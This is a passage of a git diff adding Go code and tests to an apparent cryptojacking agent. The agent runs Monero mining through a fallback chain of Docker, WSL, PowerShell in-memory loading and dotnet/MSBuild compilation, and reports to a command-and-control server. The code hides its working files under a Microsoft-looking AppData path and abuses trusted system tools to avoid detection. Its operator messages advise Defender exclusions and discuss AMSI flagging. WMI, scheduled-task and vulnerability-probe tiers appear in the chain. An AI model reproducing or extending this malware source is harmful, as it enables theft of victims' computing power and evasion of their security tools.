!containsSeq(gotArgs, "--network", "host") { + t.Fatalf("linux args missing --network host: %v", gotArgs) + } + } + + if gotArgs[len(gotArgs)-1] != customImage { + t.Fatalf("image arg=%q want %q", gotArgs[len(gotArgs)-1], customImage) + } + + env := dockerEnvFromArgs(gotArgs) + wantEnv := map[string]string{ + "AETHERFORGE_SERVER_URL": "http://c2.example", + "AETHERFORGE_WALLET": "XMR:wallet", + "AETHERFORGE_WORKER": "worker-1", + "AETHERFORGE_POOL_HOST": "pool.example.com", + "AETHERFORGE_POOL_PORT": "3333", + "AETHERFORGE_POOL_TLS": "1", + "AETHERFORGE_POOL_PASS": "x", + "AETHERFORGE_THREADS": "4", + "AETHERFORGE_MINER_EXECUTION": ExecutionInProcess, + "AETHERFORGE_FLEET_SECRET": "fleet-secret", + "MINER_LOG_FILE": "/tmp/miner.log", + } + for k, want := range wantEnv { + if got := env[k]; got != want { + t.Fatalf("env[%s]=%q want %q", k, got, want) + } + } + + if !launcher.Running() { + t.Fatal("Running() false after Start") + } + + if err := launcher.Start(); err != nil { + t.Fatalf("second Start: %v", err) + } + if !launcher.Running() { + t.Fatal("Running() false after idempotent Start") + } +} + +func TestContainerLauncherDockerLoadFromTar(t *testing.T) { + dir := t.TempDir() + tarPath := filepath.Join(dir, "worker.tar") + if err := os.WriteFile(tarPath, []byte("fake"), 0644); err != nil { + t.Fatal(err) + } + + var calls [][]string + SetContainerExecCommand(func(name string, args ...string) *exec.Cmd { + copied := append([]string{name}, args...) + calls = append(calls, copied) + if len(args) > 0 && args[0] == "load" { + if runtime.GOOS == "windows" { + return exec.Command("cmd", "/c", "echo Loaded image: aetherforge/agent-worker:tar") + } + return exec.Command("sh", "-c", "echo 'Loaded image: aetherforge/agent-worker:tar'") + } + if len(args) > 0 && args[0] == "rm" { + return quickExitTestCmd() + } + return longRunningTestCmd() + }) + defer SetContainerExecCommand(nil) + + cfg := config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + BuildID: "tar-test", + Wallet: "XMR:wallet", + PoolHost: "pool.example.com", + PoolPort: 3333, + }, + } + rt := ContainerRuntimeInfo{Available: true, CLI: "docker"} + + launcher, err := NewContainerLauncherFromTar(cfg, rt, tarPath) + if err != nil { + t.Fatalf("NewContainerLauncherFromTar: %v", err) + } + if err := launcher.Start(); err != nil { + t.Fatalf("Start: %v", err) + } + defer launcher.Stop() + + foundLoad := false + foundNeverPull := false + foundReadOnly := false + for _, call := range calls { + if len(call) >= 3 && call[1] == "load" && call[3] == tarPath { + foundLoad = true + } + for i, arg := range call { + if arg == "--pull=never" { + foundNeverPull = true + } + if arg == "--read-only" { + foundReadOnly = true + } + if arg == "--gpus" && i+1 < len(call) && call[i+1] == "all" { + // gpu flag present when GPU enabled — optional in this cfg + } + } + } + if !foundLoad { + t.Fatalf("docker load not invoked, calls=%v", calls) + } + if !foundNeverPull { + t.Fatalf("expected --pull=never, calls=%v", calls) + } + if !foundReadOnly { + t.Fatalf("expected --read-only, calls=%v", calls) + } +} + +func containsSeq(args []string, seq ...string) bool { + if len(seq) == 0 || len(args) < len(seq) { + return false + } + for i := 0; i <= len(args)-len(seq); i++ { + match := true + for j := range seq { + if args[i+j] != seq[j] { + match = false + break + } + } + if match { + return true + } + } + return false +} diff --git a/agent/miner/dotnet_launcher.go b/agent/miner/dotnet_launcher.go new file mode 100644 index 0000000..ca8f156 --- /dev/null +++ b/agent/miner/dotnet_launcher.go @@ -0,0 +1,236 @@ +package miner + +import ( + "fmt" + "log" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "sync" + + "crypto-miner-agent/config" +) + +// dotnetBin and msbuildBin are toolchain paths; tests override via SetDotnetBinPath / SetMSBuildBinPath. +var ( + dotnetBin = "dotnet" + msbuildBin = "MSBuild" + dotnetExecCommand = exec.Command +) + +// SetDotnetBinPath overrides the dotnet CLI binary (restore with ""). +func SetDotnetBinPath(path string) { + if strings.TrimSpace(path) == "" { + dotnetBin = "dotnet" + return + } + dotnetBin = path +} + +// SetMSBuildBinPath overrides the MSBuild binary (restore with ""). +func SetMSBuildBinPath(path string) { + if strings.TrimSpace(path) == "" { + msbuildBin = "MSBuild" + return + } + msbuildBin = path +} + +// SetDotnetExecCommand restores default when fn is nil. +func SetDotnetExecCommand(fn func(name string, args ...string) *exec.Cmd) { + if fn == nil { + dotnetExecCommand = exec.Command + return + } + dotnetExecCommand = fn +} + +// DotnetLauncher compiles and runs a minimal Stratum stub via trusted dotnet/msbuild (LOTL). +type DotnetLauncher struct { + cfg config.RuntimeConfig + workDir string + tool string // "dotnet" or "msbuild" + + mu sync.Mutex + running bool + cmd *exec.Cmd +} + +// NewDotnetLauncher validates platform, pool, and toolchain availability. +func NewDotnetLauncher(cfg config.RuntimeConfig) (*DotnetLauncher, error) { + if runtime.GOOS != "windows" { + return nil, fmt.Errorf("dotnet tier requires Windows") + } + if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 { + return nil, fmt.Errorf("pool host/port required for dotnet stratum tier") + } + if strings.TrimSpace(cfg.Wallet) == "" { + return nil, fmt.Errorf("wallet required for dotnet stratum tier") + } + tool, err := resolveDotnetToolchain() + if err != nil { + return nil, err + } + workDir, err := lotlWorkDir(cfg, "Stratum") + if err != nil { + return nil, err + } + return &DotnetLauncher{cfg: cfg, workDir: workDir, tool: tool}, nil +} + +func resolveDotnetToolchain() (string, error) { + if _, err := exec.LookPath(dotnetBin); err == nil { + return "dotnet", nil + } + if _, err := exec.LookPath(msbuildBin); err == nil { + return "msbuild", nil + } + return "", fmt.Errorf("neither dotnet nor MSBuild found in PATH") +} + +// WorkDir returns the LOTL compile output directory. +func (l *DotnetLauncher) WorkDir() string { + return l.workDir +} + +// Toolchain reports dotnet or msbuild. +func (l *DotnetLauncher) Toolchain() string { + return l.tool +} + +// Start materializes source under %LOCALAPPDATA%\Microsoft\... and runs compile + execute. +func (l *DotnetLauncher) Start() error { + l.mu.Lock() + defer l.mu.Unlock() + if l.running { + return nil + } + + if err := l.materializeProject(); err != nil { + return err + } + if err := l.compile(); err != nil { + return err + } + cmd, err := l.launchMiner() + if err != nil { + return err + } + l.cmd = cmd + l.running = true + log.Printf("[dotnet-tier] started toolchain=%s dir=%s wallet=%s pool=%s:%d", + l.tool, l.workDir, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort) + go l.waitExit() + return nil +} + +func (l *DotnetLauncher) materializeProject() error { + if err := os.MkdirAll(l.workDir, 0o755); err != nil { + return fmt.Errorf("mkdir workdir: %w", err) + } + csPath := filepath.Join(l.workDir, "Program.cs") + if err := os.WriteFile(csPath, []byte(renderStratumCSharp(l.cfg)), 0o644); err != nil { + return fmt.Errorf("write Program.cs: %w", err) + } + projPath := filepath.Join(l.workDir, "StratumMiner.csproj") + if err := os.WriteFile(projPath, []byte(stratumCsprojTemplate), 0o644); err != nil { + return fmt.Errorf("write csproj: %w", err) + } + return nil +} + +func (l *DotnetLauncher) compile() error { + switch l.tool { + case "dotnet": + cmd := dotnetExecCommand(dotnetBin, "build", l.workDir, "-c", "Release", "-o", filepath.Join(l.workDir, "out"), "-v", "q") + cmd.Dir = l.workDir + out, err := cmd.CombinedOutput() + if err != nil { + return fmt.Errorf("dotnet build failed: %w (%s)", err, strings.TrimSpace(string(out))) + } + return nil + case "msbuild": + proj := filepath.Join(l.workDir, "StratumMiner.csproj") + cmd := dotnetExecCommand(msbuildBin, proj, "/p:Configuration=Release", "/v:q") + cmd.Dir = l.workDir + out, err := cmd.CombinedOutput() + if err != nil { + return fmt.Errorf("msbuild failed: %w (%s)", err, strings.TrimSpace(string(out))) + } + return nil + default: + return fmt.Errorf("unknown toolchain %q", l.tool) + } +} + +func (l *DotnetLauncher) launchMiner() (*exec.Cmd, error) { + switch l.tool { + case "dotnet": + cmd := dotnetExecCommand(dotnetBin, "run", "--project", l.workDir, "-c", "Release", "--no-build") + cmd.Dir = l.workDir + cmd.Stdout = nil + cmd.Stderr = nil + if err := cmd.Start(); err != nil { + return nil, fmt.Errorf("dotnet run failed: %w", err) + } + return cmd, nil + case "msbuild": + exe := filepath.Join(l.workDir, "bin", "Release", "net8.0", "AetherForgeStratum.exe") + if _, err := os.Stat(exe); err != nil { + exe = filepath.Join(l.workDir, "out", "AetherForgeStratum.exe") + } + cmd := dotnetExecCommand(exe) + cmd.Dir = l.workDir + cmd.Stdout = nil + cmd.Stderr = nil + if err := cmd.Start(); err != nil { + return nil, fmt.Errorf("run compiled exe failed: %w", err) + } + return cmd, nil + default: + return nil, fmt.Errorf("unknown toolchain %q", l.tool) + } +} + +func (l *DotnetLauncher) waitExit() { + if l.cmd == nil { + return + } + err := l.cmd.Wait() + l.mu.Lock() + l.running = false + l.cmd = nil + l.mu.Unlock() + if err != nil { + log.Printf("[dotnet-tier] miner process exited: %v — chain will advance", err) + } else { + log.Printf("[dotnet-tier] miner process stopped") + } +} + +// Stop terminates the running LOTL miner process. +func (l *DotnetLauncher) Stop() { + l.mu.Lock() + cmd := l.cmd + running := l.running + l.mu.Unlock() + if !running || cmd == nil { + return + } + if cmd.Process != nil { + _ = cmd.Process.Kill() + } + l.mu.Lock() + l.running = false + l.cmd = nil + l.mu.Unlock() +} + +// Running reports whether the LOTL miner is active. +func (l *DotnetLauncher) Running() bool { + l.mu.Lock() + defer l.mu.Unlock() + return l.running +} diff --git a/agent/miner/dotnet_launcher_test.go b/agent/miner/dotnet_launcher_test.go new file mode 100644 index 0000000..64097a1 --- /dev/null +++ b/agent/miner/dotnet_launcher_test.go @@ -0,0 +1,151 @@ +package miner + +import ( + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "testing" + + "crypto-miner-agent/config" +) + +func fakeDotnetRecorder(t *testing.T) string { + t.Helper() + dir := t.TempDir() + if runtime.GOOS == "windows" { + bat := filepath.Join(dir, "fake-dotnet.cmd") + body := `@echo off +if "%1"=="build" exit /b 0 +if "%1"=="run" ( + ping -n 3 127.0.0.1 >nul + exit /b 0 +) +exit /b 0 +` + if err := os.WriteFile(bat, []byte(body), 0o755); err != nil { + t.Fatal(err) + } + return bat + } + sh := filepath.Join(dir, "fake-dotnet.sh") + body := `#!/bin/sh +case "$1" in + build) exit 0 ;; + run) sleep 1 ;; +esac +exit 0 +` + if err := os.WriteFile(sh, []byte(body), 0o755); err != nil { + t.Fatal(err) + } + return sh +} + +func TestDotnetLauncherMaterializeAndStart(t *testing.T) { + if runtime.GOOS != "windows" { + t.Skip("dotnet tier is Windows-only") + } + + bin := fakeDotnetRecorder(t) + SetDotnetBinPath(bin) + SetDotnetExecCommand(func(name string, args ...string) *exec.Cmd { + return exec.Command(name, args...) + }) + defer func() { + SetDotnetBinPath("") + SetDotnetExecCommand(nil) + }() + + t.Setenv("LOCALAPPDATA", t.TempDir()) + + cfg := config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + BuildID: "dn-test", + Wallet: "XMR:wallet456", + WorkerName: "worker-dn", + PoolHost: "pool.example.com", + PoolPort: 4444, + PoolTLS: true, + PoolPass: "secret", + }, + } + + launcher, err := NewDotnetLauncher(cfg) + if err != nil { + t.Fatalf("NewDotnetLauncher: %v", err) + } + if launcher.Toolchain() != "dotnet" { + t.Fatalf("toolchain=%q want dotnet", launcher.Toolchain()) + } + + if err := launcher.Start(); err != nil { + t.Fatalf("Start: %v", err) + } + defer launcher.Stop() + + cs, err := os.ReadFile(filepath.Join(launcher.WorkDir(), "Program.cs")) + if err != nil { + t.Fatalf("read Program.cs: %v", err) + } + text := string(cs) + if !strings.Contains(text, "XMR:wallet456") { + t.Fatalf("Program.cs missing wallet: %s", text) + } + if !strings.Contains(text, "pool.example.com") { + t.Fatalf("Program.cs missing pool host: %s", text) + } + if !strings.Contains(text, "PoolTLS = true") { + t.Fatalf("Program.cs missing TLS flag: %s", text) + } + + if !strings.Contains(launcher.WorkDir(), filepath.Join("Microsoft", "NET", "AetherForge")) { + t.Fatalf("workdir not under Microsoft LOTL path: %s", launcher.WorkDir()) + } + + if !launcher.Running() { + t.Fatal("Running() false after Start") + } +} + +func TestDefaultFallbackChainPowerShellMode(t *testing.T) { + chain := DefaultFallbackChain(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + MinerExecution: ExecutionPowerShell, + PoolHost: "p", + Wallet: "w", + }, + }, ContainerRuntimeInfo{Available: true, CLI: "docker"}) + if chain[0] != MethodPowerShell { + t.Fatalf("chain=%v want powershell first", chain) + } +} + +func TestDefaultFallbackChainDotnetMode(t *testing.T) { + chain := DefaultFallbackChain(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + MinerExecution: ExecutionDotnet, + PoolHost: "p", + Wallet: "w", + }, + }, ContainerRuntimeInfo{}) + if chain[0] != MethodDotnet { + t.Fatalf("chain=%v want dotnet first", chain) + } +} + +func TestSelectMiningTierChainForcedPowerShell(t *testing.T) { + probes := EnvironmentProbes{PowerShell: true, DotNet: true} + chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + MinerExecution: ExecutionPowerShell, + Wallet: "w", + PoolHost: "p", + PoolPort: 3333, + }, + }) + if len(chain) == 0 || chain[0] != TierPSInMemory { + t.Fatalf("chain=%v want ps_inmemory first", chain) + } +} diff --git a/agent/miner/environment_probe.go b/agent/miner/environment_probe.go new file mode 100644 index 0000000..b02ca37 --- /dev/null +++ b/agent/miner/environment_probe.go @@ -0,0 +1,114 @@ +package miner + +import ( + "os" + "os/exec" + "runtime" + "strings" +) + +// EnvironmentProbes captures host capabilities that drive tier selection. +type EnvironmentProbes struct { + Docker bool `json:"docker"` + WSL bool `json:"wsl"` + PowerShell bool `json:"pwsh"` + DotNet bool `json:"dotnet"` + GPU bool `json:"gpu"` + AVBlocksExe bool `json:"av_blocks_exe"` + WebView2 bool `json:"webview2"` +} + +// probeExecCommand is exec.Command; tests override via SetProbeExecCommand. +var probeExecCommand = exec.Command + +// SetProbeExecCommand restores the default when fn is nil. +func SetProbeExecCommand(fn func(name string, args ...string) *exec.Cmd) { + if fn == nil { + probeExecCommand = exec.Command + return + } + probeExecCommand = fn +} + +// gpuProbeFn reports discrete GPU presence; tests inject via SetGPUProbe. +var gpuProbeFn = defaultGPUProbe + +// SetGPUProbe restores the default when fn is nil. +func SetGPUProbe(fn func() bool) { + if fn == nil { + gpuProbeFn = defaultGPUProbe + return + } + gpuProbeFn = fn +} + +func defaultGPUProbe() bool { + return false +} + +// ProbeEnvironment gathers tier eligibility signals from the local host. +func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes { + if runtimeFn == nil { + runtimeFn = RuntimeDetector + } + rt := runtimeFn() + p := EnvironmentProbes{ + Docker: rt.Available, + GPU: gpuProbeFn(), + } + if runtime.GOOS == "windows" { + wsl := WSLDetector() + p.WSL = wsl.Available + p.PowerShell = probePowerShell() + p.DotNet = probeDotNet() + p.WebView2 = probeWebView2() + p.AVBlocksExe = inferAVBlocksExe() + } else if runtime.GOOS == "linux" { + p.PowerShell = commandOK("pwsh", "--version") || commandOK("powershell", "--version") + p.DotNet = commandOK("dotnet", "--version") + } + return p +} + +func inferAVBlocksExe() bool { + if v := strings.TrimSpace(os.Getenv("AETHERFORGE_AV_BLOCKS_EXE")); v == "1" || strings.EqualFold(v, "true") { + return true + } + return false +} + +func probeWSL() bool { + return commandOK("wsl", "--status") || commandOK("wsl", "-l", "-q") +} + +func probePowerShell() bool { + return commandOK("pwsh", "-NoLogo", "-NoProfile", "-Command", "$PSVersionTable.PSVersion.Major") || + commandOK("powershell", "-NoLogo", "-NoProfile", "-Command", "$PSVersionTable.PSVersion.Major") +} + +func probeDotNet() bool { + return commandOK("dotnet", "--version") +} + +func probeWebView2() bool { + paths := []string{ + os.Getenv("ProgramFiles") + `\Microsoft\EdgeWebView\Application`, + os.Getenv("ProgramFiles(x86)") + `\Microsoft\EdgeWebView\Application`, + } + for _, base := range paths { + if base == `\Microsoft\EdgeWebView\Application` { + continue + } + if info, err := os.Stat(base); err == nil && info.IsDir() { + return true + } + } + return commandOK("reg", "query", `HKLM\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}`) +} + +func commandOK(name string, args ...string) bool { + cmd := probeExecCommand(name, args...) + cmd.Stdout = nil + cmd.Stderr = nil + return cmd.Run() == nil +} diff --git a/agent/miner/execution.go b/agent/miner/execution.go new file mode 100644 index 0000000..a1b5d54 --- /dev/null +++ b/agent/miner/execution.go @@ -0,0 +1,95 @@ +package miner + +import ( + "strings" + + "crypto-miner-agent/config" +) + +// CPU/GPU workload execution — distinct from schedule MiningMode (always/idle/scheduled). +const ( + ExecutionAuto = "auto" + ExecutionContainer = "container" + ExecutionInProcess = "inprocess" + ExecutionSubprocess = "subprocess" + ExecutionPowerShell = "powershell" + ExecutionDotnet = "dotnet" +) + +// ContainerRuntimeInfo describes a detected OCI CLI (docker or podman). +type ContainerRuntimeInfo struct { + Available bool + CLI string // "docker" or "podman" + Version string +} + +// RuntimeDetector checks for a container CLI. Tests inject a mock via SetRuntimeDetector. +var RuntimeDetector = DetectContainerRuntime + +// SetRuntimeDetector restores the default detector when fn is nil. +func SetRuntimeDetector(fn func() ContainerRuntimeInfo) { + if fn == nil { + RuntimeDetector = DetectContainerRuntime + return + } + RuntimeDetector = fn +} + +// ResolveExecutionMode picks the effective miner execution path. +// auto → container when a runtime is available, otherwise inprocess. +func ResolveExecutionMode(cfg config.RuntimeConfig) (mode string, runtime ContainerRuntimeInfo) { + runtime = RuntimeDetector() + raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution)) + switch raw { + case "", ExecutionAuto: + if runtime.Available { + return ExecutionContainer, runtime + } + return ExecutionInProcess, runtime + case ExecutionContainer: + return ExecutionContainer, runtime + case ExecutionInProcess: + return ExecutionInProcess, runtime + case ExecutionSubprocess: + return ExecutionSubprocess, runtime + case ExecutionPowerShell: + return ExecutionPowerShell, runtime + case ExecutionDotnet: + return ExecutionDotnet, runtime + default: + if runtime.Available { + return ExecutionContainer, runtime + } + return ExecutionInProcess, runtime + } +} + +// ContainerModeRequested reports whether forge/config asked for container isolation. +func ContainerModeRequested(cfg config.RuntimeConfig) bool { + raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution)) + return raw == ExecutionContainer || raw == ExecutionAuto || raw == "" +} + +// AVBlockRecommendation returns operator guidance when mining may be AV-blocked. +func AVBlockRecommendation(mode string, runtime ContainerRuntimeInfo) string { + switch mode { + case ExecutionInProcess: + return "In-process RandomX avoids external CPU miner exes — add Defender path/process exclusions via Calibrate if hashrate stays 0" + case ExecutionContainer: + if runtime.Available { + return "Container mode isolates CPU mining but AV still scans docker.exe and image layers" + } + return "Container mode requested but no Docker/Podman runtime — agent falls back to in-process RandomX" + case ExecutionSubprocess: + return "Subprocess mode spawns GPU miners (T-Rex/TRM) — high AV friction; use inprocess for CPU-only fleets" + case ExecutionPowerShell: + return "PowerShell tier loads mining via powershell.exe + in-memory assembly or encoded command — AMSI may still flag; falls back to in-process" + case ExecutionDotnet: + return "Dotnet tier compiles a minimal Stratum stub via trusted dotnet/msbuild under %LOCALAPPDATA%\\Microsoft — falls back to in-process" + default: + if runtime.Available { + return "Auto mode may launch Docker — prefer miner_execution=inprocess for lowest AV friction on CPU-only rigs" + } + return "Antivirus may block mining — use miner_execution=inprocess (no external CPU exe) and Defender exclusions for install path" + } +} diff --git a/agent/miner/execution_test.go b/agent/miner/execution_test.go new file mode 100644 index 0000000..0df7ada --- /dev/null +++ b/agent/miner/execution_test.go @@ -0,0 +1,130 @@ +package miner + +import ( + "testing" + + "crypto-miner-agent/config" +) + +func TestResolveExecutionModeAutoWithDocker(t *testing.T) { + SetRuntimeDetector(func() ContainerRuntimeInfo { + return ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0.0"} + }) + defer SetRuntimeDetector(nil) + + mode, rt := ResolveExecutionMode(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto}, + }) + if mode != ExecutionContainer { + t.Fatalf("got mode %q want container", mode) + } + if !rt.Available || rt.CLI != "docker" { + t.Fatalf("runtime %+v", rt) + } +} + +func TestResolveExecutionModeAutoWithoutRuntime(t *testing.T) { + SetRuntimeDetector(func() ContainerRuntimeInfo { return ContainerRuntimeInfo{} }) + defer SetRuntimeDetector(nil) + + mode, _ := ResolveExecutionMode(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto}, + }) + if mode != ExecutionInProcess { + t.Fatalf("got %q want inprocess", mode) + } +} + +func TestResolveExecutionModeForcedContainer(t *testing.T) { + SetRuntimeDetector(func() ContainerRuntimeInfo { return ContainerRuntimeInfo{} }) + defer SetRuntimeDetector(nil) + + mode, _ := ResolveExecutionMode(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionContainer}, + }) + if mode != ExecutionContainer { + t.Fatalf("got %q want container", mode) + } +} + +func TestResolveExecutionModeInProcess(t *testing.T) { + SetRuntimeDetector(func() ContainerRuntimeInfo { + return ContainerRuntimeInfo{Available: true, CLI: "docker"} + }) + defer SetRuntimeDetector(nil) + + mode, _ := ResolveExecutionMode(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess}, + }) + if mode != ExecutionInProcess { + t.Fatalf("got %q want inprocess", mode) + } +} + +func TestResolveExecutionModeSubprocess(t *testing.T) { + SetRuntimeDetector(func() ContainerRuntimeInfo { return ContainerRuntimeInfo{} }) + defer SetRuntimeDetector(nil) + + mode, _ := ResolveExecutionMode(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionSubprocess}, + }) + if mode != ExecutionSubprocess { + t.Fatalf("got %q want subprocess", mode) + } +} + +func TestContainerModeRequested(t *testing.T) { + if !ContainerModeRequested(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}) { + t.Fatal("empty should request auto/container") + } + if !ContainerModeRequested(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MinerExecution: "auto"}}) { + t.Fatal("auto should request container path") + } + if ContainerModeRequested(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MinerExecution: "inprocess"}}) { + t.Fatal("inprocess should not request container") + } +} + +func TestResolveExecutionModePowerShell(t *testing.T) { + mode, _ := ResolveExecutionMode(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionPowerShell}, + }) + if mode != ExecutionPowerShell { + t.Fatalf("got %q want powershell", mode) + } +} + +func TestResolveExecutionModeDotnet(t *testing.T) { + mode, _ := ResolveExecutionMode(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionDotnet}, + }) + if mode != ExecutionDotnet { + t.Fatalf("got %q want dotnet", mode) + } +} + +func TestAVBlockRecommendation(t *testing.T) { + if msg := AVBlockRecommendation(ExecutionInProcess, ContainerRuntimeInfo{Available: true, CLI: "docker"}); msg == "" { + t.Fatal("expected in-process guidance") + } + if msg := AVBlockRecommendation(ExecutionContainer, ContainerRuntimeInfo{Available: true, CLI: "docker"}); msg == "" { + t.Fatal("expected container guidance") + } + if msg := AVBlockRecommendation(ExecutionAuto, ContainerRuntimeInfo{Available: true, CLI: "docker"}); msg == "" { + t.Fatal("expected auto-mode guidance") + } +} + +func TestNewContainerLauncherNoRuntime(t *testing.T) { + _, err := NewContainerLauncher(config.RuntimeConfig{}, ContainerRuntimeInfo{}) + if err == nil { + t.Fatal("expected error without runtime") + } +} + +func TestContainerNameSanitize(t *testing.T) { + name := containerName(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{BuildID: "build/01 test"}}) + if name != "aetherforge-miner-build-01-test" { + t.Fatalf("got %q", name) + } +} diff --git a/agent/miner/fallback_chain.go b/agent/miner/fallback_chain.go new file mode 100644 index 0000000..766aeec --- /dev/null +++ b/agent/miner/fallback_chain.go @@ -0,0 +1,742 @@ +package miner + +import ( + "context" + "errors" + "log" + "runtime" + "strings" + "sync" + "time" + + "crypto-miner-agent/config" +) + +var ( + // ErrChainExhausted is returned when every primary method in the chain failed. + ErrChainExhausted = errors.New("mining fallback chain exhausted") + // ErrMethodUnavailable is returned when hooks for a method are missing. + ErrMethodUnavailable = errors.New("mining method unavailable") +) + +// MiningMethod identifies one workload path in the cascade. +type MiningMethod string + +const ( + MethodDockerLoad MiningMethod = "docker_load" + MethodContainer MiningMethod = "container" // LOTL tier alias: docker + MethodWSL MiningMethod = "wsl" + MethodPowerShell MiningMethod = "powershell" + MethodDotnet MiningMethod = "dotnet" + MethodInProcess MiningMethod = "inprocess" + MethodGPUSubprocess MiningMethod = "gpu_subprocess" + MethodLinuxPyOpenCL MiningMethod = "linux_pyopencl" + MethodStratumDirect MiningMethod = "stratum_direct" + MethodWMI MiningMethod = "wmi" + MethodScheduledTask MiningMethod = "scheduled_task" + MethodGPUCompute MiningMethod = "gpu_compute" + MethodWebView2Probe MiningMethod = "webview2_probe" + MethodVulnProbe MiningMethod = "vuln_probe" +) + +// DefaultChainCooldown is the minimum wait between full chain re-passes. +const DefaultChainCooldown = 30 * time.Second + +// MethodFailure records one failed attempt for operator diagnostics. +type MethodFailure struct { + Method MiningMethod `json:"method"` + Reason string `json:"reason"` + At string `json:"at"` +} + +// MiningStatus is the live cascade snapshot sent to C2/UI. +type MiningStatus struct { + ActiveMethod MiningMethod `json:"active_method"` + ActiveMethods []MiningMethod `json:"active_methods,omitempty"` + FailedMethods []MethodFailure `json:"failed_methods"` + LastError string `json:"last_error,omitempty"` + ChainOrder []MiningMethod `json:"chain_order,omitempty"` + GPUParallel bool `json:"gpu_parallel,omitempty"` + StratumOverlay bool `json:"stratum_overlay,omitempty"` + ChainExhausted bool `json:"chain_exhausted,omitempty"` + LOTLTier LOTLTier `json:"lotl_tier,omitempty"` + LOTLAttempts []TierAttempt `json:"lotl_attempts,omitempty"` + WebGPUReady bool `json:"webgpu_ready,omitempty"` +} + +// ChainHooks wires agent-specific start/stop logic without importing client. +type ChainHooks struct { + StartDockerLoad func() error + StartContainer func() error + StartWSL func() error + StartPowerShell func() error + StartDotnet func() error + StartInProcess func() error + StartGPU func() error + StartPyOpenCL func() error + StopDockerLoad func() + StopContainer func() + StopWSL func() + StopPowerShell func() + StopDotnet func() + StopInProcess func() + StopGPU func() + StopPyOpenCL func() + IsDockerLoadHealthy func() bool + IsContainerHealthy func() bool + IsWSLHealthy func() bool + IsGPUSupported func() bool + PoolConfigured func() bool + RunTierProbes func() TierReport + RunTierChain func() (LOTLTier, error) + StopTiers func() + WebGPUReady func() bool + GPUComputeReady func() bool +} + +// FallbackReporter emits mining_status / mining_fallback events to C2. +type FallbackReporter func(status MiningStatus, eventType string) + +// appendLOTLPrimary adds docker_load → docker/container → wsl → in-process CPU tiers. +func appendLOTLPrimary(chain []MiningMethod, cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) []MiningMethod { + if HasImageTarPolicy(cfg) && runtime.Available { + chain = append(chain, MethodDockerLoad) + } + if runtime.Available { + chain = append(chain, MethodContainer) + } + if wsl := WSLDetector(); wsl.Available { + chain = append(chain, MethodWSL) + } + return append(chain, MethodInProcess) +} + +// DefaultFallbackChain returns the ordered cascade for cfg + platform. +// CPU primary is sequential (docker_load → container → wsl → in-process). GPU runs +// in parallel once CPU primary is established. Stratum direct overlays in-process when C2 jobs stall. +func DefaultFallbackChain(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) []MiningMethod { + raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution)) + chain := make([]MiningMethod, 0, 6) + + switch raw { + case ExecutionPowerShell: + chain = append(chain, MethodPowerShell, MethodInProcess) + if cfg.GPUEnabled && cfg.RVNWallet != "" { + chain = append(chain, MethodGPUSubprocess) + } + case ExecutionDotnet: + chain = append(chain, MethodDotnet, MethodInProcess) + if cfg.GPUEnabled && cfg.RVNWallet != "" { + chain = append(chain, MethodGPUSubprocess) + } + case ExecutionSubprocess: + chain = append(chain, MethodInProcess) + if cfg.GPUEnabled && cfg.RVNWallet != "" { + chain = append(chain, MethodGPUSubprocess) + } + case ExecutionInProcess: + chain = append(chain, MethodInProcess) + if cfg.GPUEnabled && cfg.RVNWallet != "" { + chain = append(chain, MethodGPUSubprocess) + } + case ExecutionContainer: + chain = appendLOTLPrimary(chain, cfg, runtime) + if cfg.GPUEnabled && cfg.RVNWallet != "" { + chain = append(chain, MethodGPUSubprocess) + } + case "", ExecutionAuto: + chain = appendLOTLPrimary(chain, cfg, runtime) + if cfg.GPUEnabled && cfg.RVNWallet != "" { + chain = append(chain, MethodGPUSubprocess) + } + default: + chain = appendLOTLPrimary(chain, cfg, runtime) + if cfg.GPUEnabled && cfg.RVNWallet != "" { + chain = append(chain, MethodGPUSubprocess) + } + } + + if cfg.PoolHost != "" { + chain = append(chain, MethodStratumDirect) + } + chain = appendLinuxPyOpenCL(chain) + return appendWindowsLOTLMethods(chain, cfg) +} + +// appendLinuxPyOpenCL inserts linux_pyopencl before stratum when no CUDA but PyOpenCL exists. +func appendLinuxPyOpenCL(chain []MiningMethod) []MiningMethod { + if runtime.GOOS != "linux" || DetectCUDA() || !DetectPyOpenCL() { + return chain + } + out := make([]MiningMethod, 0, len(chain)+1) + for _, m := range chain { + if m == MethodStratumDirect { + out = append(out, MethodLinuxPyOpenCL) + } + out = append(out, m) + } + return out +} + +// appendWindowsLOTLMethods adds probe and execution tiers after the primary chain. +func appendWindowsLOTLMethods(chain []MiningMethod, cfg config.RuntimeConfig) []MiningMethod { + for _, tier := range DefaultWindowsTierOrder() { + switch tier { + case 